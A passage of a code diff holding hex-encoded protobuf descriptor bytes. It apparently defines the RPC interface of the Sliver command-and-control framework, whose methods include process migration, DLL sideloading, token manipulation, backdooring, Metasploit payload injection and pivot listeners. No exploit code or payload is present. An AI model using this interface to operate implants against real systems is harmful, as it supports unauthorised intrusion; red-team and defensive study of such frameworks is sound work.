0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, - 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, - 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x19, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, - 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, 0x32, 0x0a, 0x07, 0x4d, 0x69, 0x67, - 0x72, 0x61, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x12, 0x32, 0x0a, - 0x07, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, - 0x65, 0x12, 0x40, 0x0a, 0x0e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, - 0x6f, 0x77, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, - 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x52, 0x65, 0x71, - 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, - 0x75, 0x74, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, - 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, - 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x3b, 0x0a, 0x08, 0x53, 0x70, - 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x49, 0x6e, 0x76, 0x6f, 0x6b, 0x65, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, - 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, - 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x3b, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x65, 0x65, - 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x14, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, - 0x73, 0x68, 0x6f, 0x74, 0x12, 0x50, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, - 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, - 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, - 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x4e, 0x0a, 0x12, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, - 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1f, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, - 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, + 0x6c, 0x66, 0x12, 0x38, 0x0a, 0x09, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x12, + 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, + 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x12, 0x29, 0x0a, 0x04, + 0x54, 0x61, 0x73, 0x6b, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x54, 0x61, 0x73, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x27, 0x0a, 0x03, 0x4d, 0x73, 0x66, 0x12, 0x10, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, + 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x61, 0x73, 0x6b, + 0x12, 0x33, 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x12, 0x16, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, + 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x4a, 0x0a, 0x0f, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, + 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, + 0x62, 0x6c, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x41, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, + 0x79, 0x12, 0x32, 0x0a, 0x07, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x69, + 0x67, 0x72, 0x61, 0x74, 0x65, 0x12, 0x32, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, + 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, + 0x75, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x40, 0x0a, 0x0e, 0x45, 0x78, 0x65, + 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, + 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x53, + 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, + 0x61, 0x64, 0x12, 0x3b, 0x0a, 0x08, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x1b, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6e, 0x76, 0x6f, 0x6b, 0x65, + 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, + 0x3b, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x17, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, + 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x50, 0x0a, 0x11, + 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, + 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, + 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, + 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x4e, + 0x0a, 0x12, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, + 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, + 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x44, + 0x0a, 0x11, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, + 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, + 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, + 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x12, 0x4e, 0x0a, 0x15, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, - 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x44, 0x0a, 0x11, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, - 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, - 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x4e, 0x0a, 0x15, - 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, - 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, - 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, - 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x33, 0x0a, 0x0a, - 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, - 0x68, 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, - 0x65, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, - 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, - 0x6e, 0x66, 0x6f, 0x12, 0x3e, 0x0a, 0x0b, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, - 0x63, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, - 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, - 0x6e, 0x66, 0x6f, 0x12, 0x42, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, - 0x76, 0x69, 0x63, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, - 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, - 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x38, 0x0a, 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54, - 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, + 0x6e, 0x65, 0x72, 0x73, 0x12, 0x33, 0x0a, 0x0a, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, + 0x70, 0x68, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, + 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x74, 0x61, + 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, + 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x3e, 0x0a, 0x0b, 0x53, + 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, + 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x42, 0x0a, 0x0d, 0x52, + 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x1a, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, + 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, + 0x38, 0x0a, 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, - 0x6e, 0x12, 0x2d, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f, - 0x12, 0x2f, 0x0a, 0x06, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, - 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, - 0x76, 0x12, 0x35, 0x0a, 0x08, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, - 0x76, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, - 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, - 0x41, 0x0a, 0x0c, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, - 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, - 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, - 0x61, 0x64, 0x12, 0x44, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, - 0x69, 0x74, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, - 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, - 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, - 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, - 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, - 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, - 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, - 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, - 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, - 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, - 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, - 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, - 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, - 0x65, 0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, - 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, - 0x74, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, - 0x73, 0x74, 0x12, 0x53, 0x0a, 0x12, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 